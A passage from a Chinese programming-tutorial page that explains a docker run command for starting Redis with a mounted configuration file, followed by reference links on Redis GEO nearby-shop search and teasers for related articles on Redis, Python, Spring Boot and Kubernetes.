docker run -d --name <container_name> -p 6379:6379 -v /path/to/redis.conf:/usr/local/etc/redis/redis.conf redis redis-server /usr/local/etc/redis/redis.conf这里的 /path/to/redis.conf 是你本地 Redis 配置文件的路径,<container_name> 是你要运行 Redis 的 Docker 容器的名称或 ID。在启动命令中增加 -d 选项表示在后台运行 Redis,-p 选项表示将容器内部的 Redis 端口映射到主机的端口,-v 选项表示将主机的 Redis 配置文件挂载到容器内部的 /usr/local/etc/redis/ 目录下。在最后的 redis-server 命令后面增加了配置文件的路径参数,表示使用修改后的 Redis 配置文件启动 Redis。

参考文章

https://zhuanlan.zhihu.com/p/651015058
基于Redis的Geo实现附近商铺搜索(含源码)
https://www.php.cn/manual/view/36392.html
在线原生手册

这篇关于开发知识点-LBS用户位置Redis-GEO附近人/店铺的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/379746

相关文章

一文详解Python如何开发游戏

《一文详解Python如何开发游戏》Python是一种非常流行的编程语言,也可以用来开发游戏模组,:本文主要介绍Python如何开发游戏的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录一、python简介二、Python 开发 2D 游戏的优劣势优势缺点三、Python 开发 3D

Redis 基本数据类型和使用详解

《Redis基本数据类型和使用详解》String是Redis最基本的数据类型,一个键对应一个值,它的功能十分强大,可以存储字符串、整数、浮点数等多种数据格式,本文给大家介绍Redis基本数据类型和... 目录一、Redis 入门介绍二、Redis 的五大基本数据类型2.1 String 类型2.2 Hash

Redis中Hash从使用过程到原理说明

《Redis中Hash从使用过程到原理说明》RedisHash结构用于存储字段-值对,适合对象数据,支持HSET、HGET等命令,采用ziplist或hashtable编码,通过渐进式rehash优化... 目录一、开篇:Hash就像超市的货架二、Hash的基本使用1. 常用命令示例2. Java操作示例三

Redis中Set结构使用过程与原理说明

《Redis中Set结构使用过程与原理说明》本文解析了RedisSet数据结构,涵盖其基本操作(如添加、查找)、集合运算(交并差)、底层实现(intset与hashtable自动切换机制)、典型应用场... 目录开篇:从购物车到Redis Set一、Redis Set的基本操作1.1 编程常用命令1.2 集

Redis中的有序集合zset从使用到原理分析

《Redis中的有序集合zset从使用到原理分析》Redis有序集合(zset)是字符串与分值的有序映射,通过跳跃表和哈希表结合实现高效有序性管理,适用于排行榜、延迟队列等场景,其时间复杂度低,内存占... 目录开篇:排行榜背后的秘密一、zset的基本使用1.1 常用命令1.2 Java客户端示例二、zse

基于Python开发Windows自动更新控制工具

《基于Python开发Windows自动更新控制工具》在当今数字化时代,操作系统更新已成为计算机维护的重要组成部分,本文介绍一款基于Python和PyQt5的Windows自动更新控制工具,有需要的可... 目录设计原理与技术实现系统架构概述数学建模工具界面完整代码实现技术深度分析多层级控制理论服务层控制注

Redis中的AOF原理及分析

《Redis中的AOF原理及分析》Redis的AOF通过记录所有写操作命令实现持久化,支持always/everysec/no三种同步策略,重写机制优化文件体积,与RDB结合可平衡数据安全与恢复效率... 目录开篇:从日记本到AOF一、AOF的基本执行流程1. 命令执行与记录2. AOF重写机制二、AOF的

Spring Boot分层架构详解之从Controller到Service再到Mapper的完整流程(用户管理系统为例)

《SpringBoot分层架构详解之从Controller到Service再到Mapper的完整流程(用户管理系统为例)》本文将以一个实际案例(用户管理系统)为例,详细解析SpringBoot中Co... 目录引言:为什么学习Spring Boot分层架构?第一部分:Spring Boot的整体架构1.1

k8s admin用户生成token方式

《k8sadmin用户生成token方式》用户使用Kubernetes1.28创建admin命名空间并部署,通过ClusterRoleBinding为jenkins用户授权集群级权限,生成并获取其t... 目录k8s admin用户生成token创建一个admin的命名空间查看k8s namespace 的

Java中的分布式系统开发基于 Zookeeper 与 Dubbo 的应用案例解析

《Java中的分布式系统开发基于Zookeeper与Dubbo的应用案例解析》本文将通过实际案例,带你走进基于Zookeeper与Dubbo的分布式系统开发,本文通过实例代码给大家介绍的非常详... 目录Java 中的分布式系统开发基于 Zookeeper 与 Dubbo 的应用案例一、分布式系统中的挑战二